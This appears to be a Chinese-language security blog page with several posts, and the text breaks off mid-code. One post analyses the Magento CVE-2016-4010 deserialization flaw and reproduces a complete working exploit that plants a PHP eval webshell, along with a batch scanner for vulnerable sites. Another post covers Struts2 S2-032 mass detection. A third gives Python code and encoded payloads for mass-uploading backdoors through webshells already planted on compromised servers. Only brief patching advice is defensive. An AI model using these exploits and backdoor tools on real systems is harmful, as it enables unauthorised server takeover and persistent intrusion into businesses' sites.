5月17日,国外的安全研究人员Netanel Rubin公开了Magento的一个未授权远程代码执行漏洞(CVE-2016-4010)。该漏洞实际上包含了多个小的漏洞并且允许攻击者在有漏洞的Magento服务器上未授权执行PHP代码。Magento是一个非常流行的电商平台,它在2011年时被eBay收购。一些知名企业,如:三星,尼康,联想,以及众多的小型电商都在使用它。据悉,Magento被250,000个在线商城使用,每年将涉及金额达600亿美金。

0x01 分析

该漏洞的利用条件:

  1. Magento开启了RPCs(REST或者SOAP),且大部分都是默认开启的
  2. Magento的CE&EE版本<2.0.6

Magento的web API允许2种不同方式的RPCs,分别是REST RPC和SOAP API。这2种方式都提供了相同的功能,唯一的区别在于前者使用JSON和HTTP请求去传递输入,后者则使用XML。

为了仅仅公开部分模块的API,Magento提供给开发者们一个方便的方法就是在“webapi.xml”文件里仅仅声明他们想要能够访问的模块的API。webapi.xml文件包含了所有需要被公开的Web API的类和方法,每一个方法也指定了它需要的具体的权限。这些权限包括:

  1. anonymous - 允许任何人访问的方法
  2. self - 仅仅允许注册的用户和具体的管理员的权限,如: “Magento_Backend::admin”权限就是仅仅允许可以编辑服务器配置的管理员去访问

当然,这种允许开发者使用webapi.xml文件在系统的前端以及后端(Web API)之前通信的方式,实际上也打开了一扇直接进入模块核心的后门。

另外,即使我们已经有了“anonymous”权限我们仍然需要一个可以动态传值的方式。这里指的可在系统里使用的不同的对象,例如:“CustomerRepositoryInterface::save()” API功能允许我们在“$customer”变量里使用“CustomerInterface”的对象,代码原型如下:

interface CustomerRepositoryInterface
{
    /**
     * Create customer.
     */
    public function save(\Magento\Customer\Api\Data\CustomerInterface $customer);
 
}

那么如何使用RPC接口来创建对象呢?事实上,这个问题的答案在于Magento如何配置SOAP服务器。

Magento使用默认捆绑了PHP“SoapServer”的SOAP服务器。为了能够正确的配置,“SoapServer”需要一个WSDL文件,在这个文件里去定义所有的方法,参数,以及在实际RPC请求种使用的定制内型。Magento为每个支持XMLRPC功能的模块生成不同的WSDL文件,并且直接设置来自于模块的webapi.xml文件里的值。

当一个RPC请求被服务器解析的时候,服务器使用在WSDL文件里找到的数据去判断请求是否有效,检查请求的方法,参数和类型。如果请求是有效的,就传递已解析的请求对象至Magento做进一步的解析。一个非常重要的点是,“SoapServer”不会以任何方式与Magento进行交互,所有关于模块的的方法和参数的信息都是来自于WSDL文件。此时,发送的请求仍然是由嵌套的数组组成,在SoapServer的解析阶段没有对象会被创建。为了创建需要的对象,Magento会继续自己处理输入。

为了抽取参数名和数据类型,Magento会从请求的方法里获取原型(可以参见前面的代码)。对于一些基本的数据类型, 如字符串,数组,布尔型等,系统将把输入对应到相应的类型。但是对于对象类型,解决的方法比较麻烦。

如果参数的数据类型是一个类的实例,Magento将会尝试使用提供的输入去简历实例。记住,此时的输入仅仅是一个字典,它的key是属性名称,value饰属性值。

首先,Magento将会创建一个需要的类的新实例。接着,它将会尝试使用以下的方法去填充:

  1. 获取属性名称(来自于输入的字典的key)
  2. 寻找公共的方法叫“Set[Name]”,其中[Name]是属性名称
  3. 如果有这样的方法,使用属性值作为参数去执行
  4. 如果没有这样的方法,忽略该属性并且继续查看下一个属性

Magento将会按照这个方法去处理每一个的用户正在尝试设置的属性。当所有的属性都被检查了,Magento将会认为该实例已经设置完成并且处理下一个参数。当所有的参数都被这样处理了,Magento将会最终执行这个API方法。

总而言之,Magento让你去创建一个对象,并设置它的公共属性,最后通过它的RPC去执行任何一个以“Set”开头的方法。而正是这种行为导致了Magento的漏洞的产生。

研究发现,一些API的调用是允许在购物车里设置一些具体的信息,这些信息可以是我们的邮寄地址,商品,甚至是我们的支付方式。

当Magento在购物车实例种设置我们的信息的时候,它会使用实例的“save”方法往数据库中存储新添加的数据。

下面我们来看看“save”方法是如何工作的吧!

/**
 * Save object data
 */
public function save(\Magento\Framework\Model\AbstractModel $object)
{
    ...
    // If the object is valid and can be saved
    if ($object->isSaveAllowed()) {
        // Serialize whatever fields need serializing
        $this->_serializeFields($object);
        ...
        // If the object already exists in the DB, update it
        if ($this->isObjectNotNew($object)) {
            $this->updateObject($object);
        // Otherwise, create a new record
        } else {
            $this->saveNewObject($object);
        }
         
        // Unserialize the fields we serialized
        $this->unserializeFields($object);
    }
    ...
    return $this;
}
 
// AbstractDb::save()

Magento确保我们的对象都是有效的,然后序列化所有应该被序列化的部分并存储在数据库里,最后再反序列化之前序列化的部分。

看起来很简单,对吧?其实不然,让我们继续看看Magento是如何判断哪些部分应该被序列化。

/**
 * Serialize serializable fields of the object
 */
protected function _serializeFields(\Magento\Framework\Model\AbstractModel $object)
{
    // Loops through the '_serializableFields' property
    // (containing hardcoded fields that should be serialized)
    foreach ($this->_serializableFields as $field => $parameters) {
        // Get the field's value
        $value = $object->getData($field);
         
        // If it's an array or an object, serialize it
        if (is_array($value) || is_object($value)) {
            $object->setData($field, serialize($value));
        }
    }
}
 
// AbstractDb::_serializeFields()

正如我们看到的,仅仅是出现在硬编码字典“_serializableFields”中的那部分能够被序列化。最重要的是,这个方法在确保了field的值是一个数组或者对象的之后才会继续去序列化。

现在,我们看看Magento是如何判断哪些部分应该被反序列化。

**
 * Unserialize serializeable object fields
 */
public function unserializeFields(\Magento\Framework\Model\AbstractModel $object)
{
    // Loops through the '_serializableFields' property
    // (containing hardcoded fields that should be serialized)
    foreach ($this->_serializableFields as $field => $parameters) {
        // Get the field's value
        $value = $object->getData($field);
         
        // If it's not an array or an object, unserialize it
        if (!is_array($value) && !is_object($value)) {
            $object->setData($field, unserialize($value));
        }
    }
}
 
// AbstractDb::unserializeFields ()

好吧,看起来非常类似。唯一的不同点是,这次Magento需要确保field的值不是一个数组或者对象。因为这2次的检查,我们应该能够实施一个对象注入攻击,即简单地在一个可序列化的field中设置一个一定规则的字符串。当我们如此设置后,系统在存储对象至数据库之前将不会序列化这个field,因为它不是对象或者数组。但是,当系统将会尝试反序列化它时,在数据库查询被执行之后,它将会被反序列化,因为它不是一个对象或者数组。

但是正是这种小到几乎看不见的条件却造成了漏洞。剩下的问题就是考虑哪些field被认为是“可序列化的”,并且我们如何设置它。

当然,第一个问题很简单,就是我仅仅需要搜索哪个类包含了“_serializableFields”属性。很快,在“Payment”类中发现了一个API方法,但是不是作为一个参数,所以不能创建或者控制它的实例属性。最重要的是,它的可序列化的field“additional_information”仅能被设置成一个数组,且使用“Set[PROPERTY_NAME]”技术作为一个额外的安全措施,所以不仅不能创建,即使能我们也不能设置成一个字符串。

但很有趣的是,它可以以另外一种“骚气”的方式去设置。当Magento设置参数实例的属性时,事实上不是真的设置属性,而是保存他们在一个命名为“_data”的字典中。当一个实例的属性被使用时,这个字典将会被使用。这对于我们来说,意味着我们的可序列化field - “additional_information”事实上被保存在一个内置的字典中而不是一个正常的属性。

所以,如果我们能够完全控制“_data”字典,那么我们就能轻松地绕过“additional_information”field的数组限制,因为我们可以手动设置它而不是去调用“Set[PROPERTY_NAME]”。

但是,我们又如何控制这个敏感的字典呢?

在保存我们“Payment”实例之前,Magento要做的一件事就是去编辑它的属性。Magento将我们的API输入当作需要被存储在“Payment”实例中的支付信息,如下:

/**
 * Adds a specified payment method to a specified shopping cart.
 */
public function set($cartId, \Magento\Quote\Api\Data\PaymentInterface $method)
{
     
    $quote = $this->quoteRepository->get($cartId); // Get the cart instance
    $payment = $quote->getPayment(); // Get the payment instance
 
    // Get the data from the user input
    $data = $method->getData();
     
    // Check for additional data
    if (isset($data['additional_data'])) {
        $data = array_merge($data, (array)$data['additional_data']);
        unset($data['additional_data']);
    }
     
    // Import the user input to the Payment instance
    $payment->importData($data);
     
    ...
}
 
// PaymentMethodManagement::set()

正如我们看到的,“Payment”数据通过调用“$method->getData()”从“$method”参数中返回“_data”属性来获取。记住,因为“$method”是API方法的一个参数,所以我们能够控制它。

当Magenta在我们的“$method”参数里调用“getData()”时,参数的“_data”属性将会返回,并包含了我们插入的所有的支付信息。之后,它以“_data”属性作为输入去调用“importData()”,用我们的“_data”属性去替换掉“Payment”实例的“_data”属性。至此,我们现在能够使用我们可以控制的“_data”属性去替“Payment”实例中敏感的“_data”属性,也就意味着,我们现在可以设置“addition_information”field。

为了让unserialize()起作用,我们需要field能否被设置成字符串,但是“Set[PROPERTY_NAME]”方法仅仅允许数组。解决方法是在调用“importData()”之前放2行代码。Magento允许开发者去增加他们自己的支付方法,提供他们自己的数据和信息。为了实现这个,Magento使用了“addition_data”field。而这个field则是一个包含更多数据的支付方法且完全用户可控的字典。为了能让定制化的内容成为原始数据的一部分,Magento将“additional_data”字典与原始的“data”字典合并在一起,实际上就是允许“additional_data”字典去覆盖“data”字典里的所有的值,基本上也就是可以完全覆写。这也就意味着,在2个字典合并之后,用户可控的“additional_data”字典现在变成了参数“_data”字典,并且因为“importData()”,它也变成了“Payment”实例中敏感的“_data”属性。换句话说,我们现在已经完全控制了可序列化的field“additional_information”,并可以实施对象注入攻击了。

既然我们可以反序列化任何我们想要的字符串,那么是时候进行对象注入攻击了。

首先,我们需要一个带有“__wakeup()”或者“__destruct()”方法的对象,以便当对象被反序列化或者销毁时能够被自动调用。这是因为即使我们能够控制对象的属性,但是我们不能调用它的方法。这也是为什么我们必须依赖PHP的magical方法,当某个事件发生时它能够被自动调用。

我们将使用的第一个对象是“Credis_Client”类的一个实例,它包含如下的方法:

/*
 * Called automaticlly when the object is destrotyed.
 */
public function __destruct()
{
    if ($this->closeOnDestruct) {
        $this->close();
    }
}
 
/*
 * Closes the redis stream.
 */
public function close()
{
    if ($this->connected && ! $this->persistent) {
            ...
            $result = $this->redis->close();
    }
    ...
}
 
// Credis_Client::__destruct(), close()

我们可以看到,这个类有一个简单的“__destruct”方法(当对象被销毁时它将会被PHP自动调用)去调用“close()”方法。有意思的是,“close()”方法如果发现有一个主动连接至Redis服务器,它就会去调用“redis”属性中的“close()”去关闭它。

由于“ unserialize()”允许我们去控制所有的对象属性,所以我们也可以控制“redis”属性。我们可以在属性里(不仅仅是Redis)设置任意一个我们想要的对象,并在系统的任意一个类中调用任意一个“close()”方法。这也大大地扩大了我们的攻击面。在Magento中有一些”close()”方法并且由于这些方法通常是用来终止流,关闭文件句柄以及存储对象数据,故而我们应该可以找到一些有趣的调用。

正如我们预期的,我们找到了下面这个在“Transaction”类中的“close()”方法:

/**
 * Close this transaction
 */
public function close($shouldSave = true)
{
    ...
    if ($shouldSave) {
        $this->save();
    }
    ...
}
 
/**
 * Save object data
 */
public function save()
{
    $this->_getResource()->save($this);
    return $this;
}
 
// Magento\Sales\Model\Order\Payment\Transaction::__destruct(), close()

看起来很简单,“close()”方法调用“save()”方法接下来调用“_resource”属性中的“save()”方法。相同的思路,因为我们控制了“_resource”属性所以我们也能控制它的类,故我们能调用任何我们想要的类的“save()”方法。

又向前迈了一大步了。正如我们猜想的那样,“save()”方法通常是用来在各种存储介质里(如:文件系统,数据库等)保存各种数据。现在我们需要做的事情就是找到一个使用文件系统当做存储介质的“save()”方法。

很快,我找到了一个:

/**
 * Try to save configuration cache to file
 */
public function save()
{
    ...
    // save stats
    file_put_contents($this->getStatFileName(), $this->getComponents());
    ...
}
 
// Magento\Framework\Simplexml\Config\Cache\File::save()

这个方法其实是将“components”field中的数据保存在一个文件中。因为文件的路径是从“stat_file_name”field中获取的,另外由于我们控制了这2个参数,我们实际上控制了文件的路径和内容,这就产生了一个任意文件写入的漏洞。

现在我们只需要考虑找到一个有效的可写的并且可被web服务器访问的路径去写入文件。在所有的Magento安装目录中有一个“/pub”的目录,它是用来存储图片或者管理员上传的文件,这是一个可有效利用的路径。

最后我们只需要简单的写一个PHP的webshell文件到服务器上,就可以在Magento服务器上未授权执行任意PHP代码。

0x02 利用

测试环境搭建

1. 下载有漏洞的安装包(这里使用的是2.0.0版本)

下载地址:https://github.com/magento/magento2/archive/2.0.0.zip

2. 安装Magento

安装步骤:https://github.com/magento/magento2/tree/2.0.0

注意:此处可能会遇到一些问题可参见:

http://magento2king.com/magento2-insta-be-downloaded/

https://github.com/magento/magento2/issues/2419

漏洞利用

exploit-db上公开的漏洞exp((https://www.exploit-db.com/exploits/39838/),稍作修改如下:

<?php

// Exploit Title: [CVE-2016-4010] Magento unauthenticated arbitrary unserialize -> arbitrary write file
// Date: 18/05/206
// Exploit Author: agix (discovered by NETANEL RUBIN)
// Vendor Homepage: https://magento.com
// Version: < 2.0.6
// CVE : CVE-2016-4010

// to get a valid guestCartId
// * add an item in your cart
// * go to checkout
// * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information
// (* in the response check the payment method it may vary from checkmo)
//
// If you didn\'t provide whereToWrite, it will execute phpinfo to leak path.


class Magento_Framework_Simplexml_Config_Cache_File extends DataObject
{
    function __construct($data){
        $this->_data = $data;
    }
}

class Credis_Client{
    const TYPE_STRING      = 'string';
    const TYPE_LIST        = 'list';
    const TYPE_SET         = 'set';
    const TYPE_ZSET        = 'zset';
    const TYPE_HASH        = 'hash';
    const TYPE_NONE        = 'none';
    const FREAD_BLOCK_SIZE = 8192;

    /**
     * Socket connection to the Redis server or Redis library instance
     * @var resource|Redis
     */
    protected $redis;
    protected $redisMulti;

    /**
     * Host of the Redis server
     * @var string
     */
    protected $host;

    /**
     * Port on which the Redis server is running
     * @var integer
     */
    protected $port;

    /**
     * Timeout for connecting to Redis server
     * @var float
     */
    protected $timeout;

    /**
     * Timeout for reading response from Redis server
     * @var float
     */
    protected $readTimeout;

    /**
     * Unique identifier for persistent connections
     * @var string
     */
    protected $persistent;

    /**
     * @var bool
     */
    protected $closeOnDestruct = TRUE;

    /**
     * @var bool
     */
    protected $connected = TRUE;

    /**
     * @var bool
     */
    protected $standalone;

    /**
     * @var int
     */
    protected $maxConnectRetries = 0;

    /**
     * @var int
     */
    protected $connectFailures = 0;

    /**
     * @var bool
     */
    protected $usePipeline = FALSE;

    /**
     * @var array
     */
    protected $commandNames;

    /**
     * @var string
     */
    protected $commands;

    /**
     * @var bool
     */
    protected $isMulti = FALSE;

    /**
     * @var bool
     */
    protected $isWatching = FALSE;

    /**
     * @var string
     */
    protected $authPassword;

    /**
     * @var int
     */
    protected $selectedDb = 0;

    /**
     * Aliases for backwards compatibility with phpredis
     * @var array
     */
    protected $wrapperMethods = array('delete' => 'del', 'getkeys' => 'keys', 'sremove' => 'srem');

    /**
     * @var array
     */
    protected $renamedCommands;

    /**
     * @var int
     */
    protected $requests = 0;


    public function __construct($resource) {
        $this->redis = new Magento_Sales_Model_Order_Payment_Transaction($resource);
    }
}

class DataObject
{
    /**
     * Object attributes
     *
     * @var array
     */
    protected $_data = [];

    /**
     * Setter/Getter underscore transformation cache
     *
     * @var array
     */
    protected static $_underscoreCache = [];
}

abstract class AbstractModel2 extends DataObject
{
    /**
     * Prefix of model events names
     *
     * @var string
     */
    protected $_eventPrefix = 'core_abstract';

    /**
     * Parameter name in event
     *
     * In observe method you can use $observer->getEvent()->getObject() in this case
     *
     * @var string
     */
    protected $_eventObject = 'object';

    /**
     * Name of object id field
     *
     * @var string
     */
    protected $_idFieldName = 'id';

    /**
     * Data changes flag (true after setData|unsetData call)
     * @var $_hasDataChange bool
     */
    protected $_hasDataChanges = false;

    /**
     * Original data that was loaded
     *
     * @var array
     */
    protected $_origData;

    /**
     * Object delete flag
     *
     * @var bool
     */
    protected $_isDeleted = false;

    /**
     * Resource model instance
     *
     * @var \Magento\Framework\Model\ResourceModel\Db\AbstractDb
     */
    protected $_resource;

    /**
     * Resource collection
     *
     * @var \Magento\Framework\Model\ResourceModel\Db\Collection\AbstractCollection
     */
    protected $_resourceCollection;

    /**
     * Name of the resource model
     *
     * @var string
     */
    protected $_resourceName;

    /**
     * Name of the resource collection model
     *
     * @var string
     */
    protected $_collectionName;

    /**
     * Model cache tag for clear cache in after save and after delete
     *
     * When you use true - all cache will be clean
     *
     * @var string|array|bool
     */
    protected $_cacheTag = false;

    /**
     * Flag which can stop data saving after before save
     * Can be used for next sequence: we check data in _beforeSave, if data are
     * not valid - we can set this flag to false value and save process will be stopped
     *
     * @var bool
     */
    protected $_dataSaveAllowed = true;

    /**
     * Flag which allow detect object state: is it new object (without id) or existing one (with id)
     *
     * @var bool
     */
    protected $_isObjectNew = null;

    /**
     * Validator for checking the model state before saving it
     *
     * @var \Zend_Validate_Interface|bool|null
     */
    protected $_validatorBeforeSave = null;

    /**
     * Application Event Dispatcher
     *
     * @var \Magento\Framework\Event\ManagerInterface
     */
    protected $_eventManager;

    /**
     * Application Cache Manager
     *
     * @var \Magento\Framework\App\CacheInterface
     */
    protected $_cacheManager;

    /**
     * @var \Magento\Framework\Registry
     */
    protected $_registry;

    /**
     * @var \Psr\Log\LoggerInterface
     */
    protected $_logger;

    /**
     * @var \Magento\Framework\App\State
     */
    protected $_appState;

    /**
     * @var \Magento\Framework\Model\ActionValidator\RemoveAction
     */
    protected $_actionValidator;

    /**
     * Array to store object's original data
     *
     * @var array
     */
    protected $storedData = [];
}

abstract class AbstractExtensibleModel extends AbstractModel2
{
    protected $extensionAttributesFactory;

    /**
     * @var \Magento\Framework\Api\ExtensionAttributesInterface
     */
    protected $extensionAttributes;

    /**
     * @var AttributeValueFactory
     */
    protected $customAttributeFactory;

    /**
     * @var string[]
     */
    protected $customAttributesCodes = null;

    /**
     * @var bool
     */
    protected $customAttributesChanged = false;

}

abstract class AbstractModel extends AbstractExtensibleModel
{
}

class Magento_Sales_Model_Order_Payment_Transaction extends AbstractModel
{
    /**#@+
     * Supported transaction types
     * @var string
     */
    const TYPE_PAYMENT = 'payment';

    const TYPE_ORDER = 'order';

    const TYPE_AUTH = 'authorization';

    const TYPE_CAPTURE = 'capture';

    const TYPE_VOID = 'void';

    const TYPE_REFUND = 'refund';

    /**#@-*/

    /**
     * Raw details key in additional info
     */
    const RAW_DETAILS = 'raw_details_info';

    /**
     * Order instance
     *
     * @var \Magento\Sales\Model\Order\Payment
     */
    protected $_order = null;

    /**
     * Parent transaction instance
     * @var \Magento\Sales\Model\Order\Payment\Transaction
     */
    protected $_parentTransaction = null;

    /**
     * Child transactions, assoc array of transaction_id => instance
     *
     * @var array
     */
    protected $_children = null;

    /**
     * Child transactions, assoc array of txn_id => instance
     * Filled only in case when all child transactions have txn_id
     * Used for quicker search of child transactions using isset() as opposite to foreaching $_children
     *
     * @var array
     */
    protected $_identifiedChildren = null;

    /**
     * Whether to perform automatic actions on transactions, such as auto-closing and putting as a parent
     *
     * @var bool
     */
    protected $_transactionsAutoLinking = true;

    /**
     * Whether to throw exceptions on different operations
     *
     * @var bool
     */
    protected $_isFailsafe = true;

    /**
     * Whether transaction has children
     *
     * @var bool
     */
    protected $_hasChild = null;

    /**
     * Event object prefix
     *
     * @var string
     * @see \Magento\Framework\Model\AbstractModel::$_eventPrefix
     */
    protected $_eventPrefix = 'sales_order_payment_transaction';

    /**
     * Event object prefix
     *
     * @var string
     * @see \Magento\Framework\Model\AbstractModel::$_eventObject
     */
    protected $_eventObject = 'order_payment_transaction';

    /**
     * Order website id
     *
     * @var int
     */
    protected $_orderWebsiteId = null;

    /**
     * @var \Magento\Sales\Model\OrderFactory
     */
    protected $_orderFactory;

    /**
     * @var \Magento\Framework\Stdlib\DateTime\DateTimeFactory
     */
    protected $_dateFactory;

    /**
     * @var TransactionFactory
     */
    protected $_transactionFactory;

    /**
     * @var \Magento\Sales\Api\OrderPaymentRepositoryInterface
     */
    protected $orderPaymentRepository;

    /**
     * @var \Magento\Sales\Api\OrderRepositoryInterface
     */
    protected $orderRepository;

    /**
     * @param \Magento\Framework\Model\Context $context
     * @param \Magento\Framework\Registry $registry
     * @param \Magento\Framework\Api\ExtensionAttributesFactory $extensionFactory
     * @param AttributeValueFactory $customAttributeFactory
     * @param \Magento\Sales\Model\OrderFactory $orderFactory
     * @param \Magento\Framework\Stdlib\DateTime\DateTimeFactory $dateFactory
     * @param TransactionFactory $transactionFactory
     * @param \Magento\Framework\Model\ResourceModel\AbstractResource $resource
     * @param \Magento\Framework\Data\Collection\AbstractDb $resourceCollection
     * @param array $data
     * @SuppressWarnings(PHPMD.ExcessiveParameterList)
     */
    public function __construct($resource) {
        $this->_resource = $resource;
    }
}

class Magento_Framework_DB_Transaction{
    protected $_objects = [];

    /**
     * Transaction objects array with alias key
     *
     * @var array
     */
    protected $_objectsByAlias = [];

    /**
     * Callbacks array.
     *
     * @var array
     */
    protected $_beforeCommitCallbacks = ["phpinfo"];
}

if(count($argv) < 3){
    echo 'Usage: '.$argv[0].' <magento_uri> <guestCartId> (whereToWrite)'.chr(0x0a);
    echo 'To get a valid guestCartId'.chr(0x0a);
    echo '* add an item in your cart'.chr(0x0a);
    echo '* go to checkout'.chr(0x0a);
    echo '* fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information'.chr(0x0a);
    echo '(* in the response check the payment method it may vary from "checkmo")'.chr(0x0a).chr(0x0a);
    echo 'If you didn\'t provide whereToWrite, it will execute phpinfo to leak path.'.chr(0x0a);
    exit();
}

if(count($argv) === 4){
    $data = [];
    $data['is_allowed_to_save'] = True;
    $data['stat_file_name'] = $argv[3];
    $data['components'] = '<?php eval($_POST[1]);?>';
    $resource = new Magento_Framework_Simplexml_Config_Cache_File($data);
}
else{
    $resource = new Magento_Framework_DB_Transaction();
}

$redis = new Credis_Client($resource);
$serialized = serialize($redis);

$payload = json_decode('{"paymentMethod":{"method":"checkmo", "additional_data":{"additional_information":""}}, "email": "valid@magento.com"}');

$payload->paymentMethod->additional_data->additional_information = str_replace('Magento_Framework_DB_Transaction', 'Magento\\Framework\\DB\\Transaction', str_replace('Magento_Sales_Model_Order_Payment_Transaction', 'Magento\\Sales\\Model\\Order\\Payment\\Transaction', str_replace('Magento_Framework_Simplexml_Config_Cache_File', 'Magento\\Framework\\Simplexml\\Config\\Cache\\File', $serialized)));

for($i=0; $i<2; $i++){
    $c = curl_init($argv[1].'/rest/V1/guest-carts/'.$argv[2].'/set-payment-information');
    curl_setopt($c, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    curl_setopt($c, CURLOPT_POSTFIELDS, json_encode($payload));
    curl_exec($c);
    curl_close($c);
}

?>

利用方法如下:

1. 找到有漏洞的Magento网站

Magento版本在线检查:http://magentoversion.com/

2. 添加一个商品进入购物车

3. 进入购物车点击“结算”

4. 填写邮寄地址并查看POST请求/rest/default/V1/guest-carts/[guestCartId]/shipping-information并获取[guestCartID]

5. 保存上面的exp为magento_exp.php并执行:php magento_exp.php [Magento_URL] [guestCartID] ([webshell写入路径]) 

批量检测

经过对上面exp的研究发现该利用需要满足下面几个条件:

1. 目标站点的Magento版本需要小于2.0.6且开启了REST API

2. 目标站点首页需要存在下面这段JS

因此,写了一个简单的批量验证脚本来配合上面的exp进行利用:

#!/usr/bin/env python

import urllib
import sys
import socket
timeout = 5
socket.setdefaulttimeout(timeout)

input = sys.argv[1]  #包含Magento站点的URL的文件
output = sys.argv[2] #结果的保存文件,可以为:output.txt

def logFile(str):
	f = open(output,'a')
	f.write(str+"\n")
	f.close()

def checkVul(url):
	try:
		html = urllib.urlopen(url).read()
		if "guest-carts" in html:
			print url,"is vulnerable!"
			logFile(url)
		else:
			print url,"is not vulnerable!"
	except Exception:
		pass

if __name__ == '__main__':
	inp = open(input,'r')
	for i in inp:
		url=i.strip()
		#print url
		checkVul(url)
	print "All Done!"

执行效果:

0x03 防御

升级Magento到最新版(2.0.6),下载地址: https://www.magentocommerce.com/download

参考

https://github.com/brianwrf/Magento-CVE-2016-4010/blob/master/README.md

http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/

https://www.exploit-db.com/exploits/39838/

Apache Struts2(S02-032)远程代码执行之批量检测

0x00 背景

近日,Apache公布了Strut2的又一远程代码执行漏洞S2-032。随之,各种poc和exp开始出现在各大论坛和QQ群。新一轮的腥风血雨即将开始!

0x01 分析

主要原因为在用户开启动态方法调用的情况下,会被攻击者实现远程代码执行攻击。具体分析如下:

http://seclab.dbappsecurity.com.cn/?p=924

http://blog.nsfocus.net/tech/技术分享/2016/04/26/Struts2方法调用远程代码执行漏洞-CVE-2016-3081-分析.html

https://www.seebug.org/vuldb/ssvid-91389

0x02 利用

网传的各种poc和exp如下:

http://zone.wooyun.org/content/26856

http://zone.wooyun.org/content/26862

http://www.shack2.org/article/1374154000.html

为了更深层次的了解这个漏洞的危害,笔者也“跟风”地写了一个批量检测的小工具,如下图:

工具下载地址:https://github.com/brianwrf/hackUtils

0x03 解决方案

1)禁用动态方法调用:

修改 Struts2 的配置文件,将“struts.enable.DynamicMethodInvocation” 设置为 false,如

<constant name=”struts.enable.DynamicMethodInvocation” value=”false” />;

2)如条件允许前提下,可升级 Struts 版本至 Struts 2.3.20.2,Struts 2.3.24.2 或者 Struts 2.3.28.1 来修复漏洞,新版本下载地址:https://struts.apache.org/download.cgi#struts2328

声明:本工具仅供学习交流,任何人不得用于非法目的或者入侵他人网站,否则一切后果自负,与本人无关!

如何基于菜刀PHP一句话实现单个文件批量上传

0x00 前言

很多时候当我们通过某个通用型RCE漏洞批量抓取了很多的webshell后,可能想要批量传个后门以备后用。这时,我们不禁会面对一个问题,使用菜刀一个个上传显得太慢,那么如何快速的实现文件的批量上传呢?本文尝试以菜刀的php一句话为例来分析一下如何实现这类需求。

0x01 原理分析

首先,我们必须了解菜刀是如何通过一句话木马来实现web服务器的文件管理的。
下面是最常见的php一句话木马:

<?php eval($_POST[1]); ?>

当我们将一句话木马上传到web服务器上后,我们就可以直接在菜刀中输入上面的密码(如上例中的1)连接到服务器上来管理文件。
那么,此处的菜刀如何通过简单的一句话就可以实现对服务器的管理和控制呢?通过分析菜刀的原理,我们不难发现菜刀是利用了eval这个函数来执行通过POST方法传过来的命令语句。
因此,如果我们想通过菜刀一句话木马来实现文件上传的话,只需要向远程服务里上包含一句话的url发送一个带文件写入命令的POST请求即可,比如:

POST: 

1=@eval($_POST[z0]);&z0=echo $_SERVER['DOCUMENT_ROOT'];

上面代码包含2个部分:

  1. 一句话的密码
  2. 发送给服务器端的php执行代码

既然知道原理了,我们只需要发送如下的POST请求即可完成利用一句话木马上传文件的功能:

POST:

1=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9JF9QT1NUWyJ6MSJdOwokYz0kX1BPU1RbInoyIl07CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7&z1=L3Zhci93d3cvcm9vdC8xLnR4dA==&z2=aGVsbG8gd29ybGQh

仔细分析一下这段POST数据包含以下几个部分:

1. 首先是一句话木马的密码1

2. 通过eval方法来执行base64解码后的z0,解码后显示如下:

@ini_set("display_errors","0"); 
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
echo("->|");; 
$f=base64_decode($_POST["z1"]); 
$c=base64_decode($_POST["z2"]); 
$c=str_replace("\r","",$c); 
$c=str_replace("\n","",$c); 
$buf=""; 
for($i=0;$i<strlen($c);$i+=1) 
$buf.=substr($c,$i,1); 
echo(@fwrite(fopen($f,"w"),$buf)); 
echo("|<-"); 
die();

3. 在z0中继续调用base64解码后的z1和z2,解码后如下:

z1=/var/www/root/1.txt&z2=hello world!

至此,我们可以很清楚的发现上面的POST请求的作用实际上是将一个写有hello world!的名为1.txt的文件上传至服务器上/var/www/root/路径下。

0x02 代码实现

基于上面的原理分析,我们可以利用下面的代码来实现利用php一句话实现文件批量上传:

#!/usr/bin/python  
#coding=utf-8  
  
import urllib  
import urllib2
import sys
import base64
import re
  
def post(url, data):  
    req = urllib2.Request(url)  
    data = urllib.urlencode(data)   
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())  
    response = opener.open(req, data)  
    return response.read()  
	
def get_shell_path(posturl,passwd):
    shell_path = ""
    try:
        data = {}
        data[passwd] = '@eval(base64_decode($_POST[z0]));'
        data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
        shell_path = post(posturl, data).strip()
    except Exception:
        pass
    return shell_path
  
def main():
    print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'
    shellfile = sys.argv[1] # 存放webshell路径和密码的文件
    localfile = sys.argv[2] # 本地待上传的文件名
    shell_file = open(shellfile,'rb')
    local_content = str(open(localfile,'rb').read())
    for eachline in shell_file:
        posturl = eachline.split(',')[0].strip()
        passwd = eachline.split(',')[1].strip()
        try:
            reg = ".*/([^/]*\.php?)"
            match_shell_name = re.search(reg,eachline)
            if match_shell_name:
                shell_name=match_shell_name.group(1)
                shell_path = get_shell_path(posturl,passwd).strip()
                target_path = shell_path.split(shell_name)[0]+localfile
                target_path_base64 = base64.b64encode(target_path)
                target_file_url = eachline.split(shell_name)[0]+localfile
                data = {}
                data[passwd] = '@eval(base64_decode($_POST[z0]));'
